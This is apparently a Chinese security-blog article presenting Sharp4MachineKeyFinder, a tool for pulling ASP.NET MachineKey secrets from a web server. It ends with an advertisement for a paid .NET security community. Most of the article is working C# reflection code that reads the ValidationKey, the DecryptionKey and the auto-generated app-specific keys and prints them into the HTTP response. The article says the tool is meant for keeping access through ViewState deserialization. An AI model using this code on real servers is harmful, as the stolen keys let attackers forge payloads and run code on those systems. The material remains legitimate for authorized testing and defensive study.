01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02前言介绍
Sharp4MachineKeyFinder是一款获取Web服务器存储MachineKey的工具,主要原理是通过反射获取应用程序的ValidationKey和DecryptionKey,便于渗透测试时利用ViewStates反序列化漏洞进行权限维持。
03代码实现
首先,Sharp4MachineKey代码加载了System.Web程序集并获取了MachineKeySection类型,具体代码如下所示。
var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
然后,通过反射调用GetApplicationConfig方法获取应用程序的MachineKeySection配置,具体代码如下所示。
var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);
接下来,代码将ValidationKey和DecryptionKey输出到响应中,通过反射获取MachineKeyMasterKeyProvider实例,并调用相关方法获取验证密钥和加密密钥的详细信息。
Response.Write("<b>ValidationKey:</b> " + config.ValidationKey);
Response.Write("<br/>");
Response.Write("<b>DecryptionKey:</b> " + config.DecryptionKey);
Response.Write("<br/><hr/>");
var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(
typeMachineKeyMasterKeyProvider.FullName, false,
System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic,
null, new object[] { config, null, null, null, null }, null, null);
var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
这些密钥被转换为字符串后,输出到响应中,对于ASP.NET 4.0及以下版本,代码还提取并展示了自动生成的密钥信息
Response.Write("<b>validationAlg:</b> " + config.Validation);
Response.Write("<br/>");
Response.Write("<b>validationKey:</b> " + BitConverter.ToString(_validationKey).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>decryptionAlg:</b> " + config.Decryption);
Response.Write("<br/>");
Response.Write("<b>decryptionKey:</b> " + BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
int validationKeySize = 64;
int decryptionKeySize = 24;
byte[] validationKeyAuto = new byte[validationKeySize];
byte[] decryptionKeyAuto = new byte[decryptionKeySize];
System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize);
System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize);
代码根据应用程序名称和应用程序ID生成的特定密钥信息并输出,如下代码所示。
string appName = HttpRuntime.AppDomainAppVirtualPath;
string appId = HttpRuntime.AppDomainAppId;
Response.Write("<b>appName:</b> " + appName);
Response.Write("<br/>");
Response.Write("<b>appId:</b> " + appId);
Response.Write("<br/>");
byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
Sharp4MachineKeyFinder通过反射获取ASP.NET应用程序密钥的方法。这段代码删除了部分冗余代码,避免了某些场景报错的情况。并且展示如何在不同版本的ASP.NET中提取并显示ValidationKey和DecryptionKey。运行后效果如下所示
04推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
05欢迎加入.NET安全知识库
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。目前只需199元便可以加入我们,后期星球门票价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好!
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。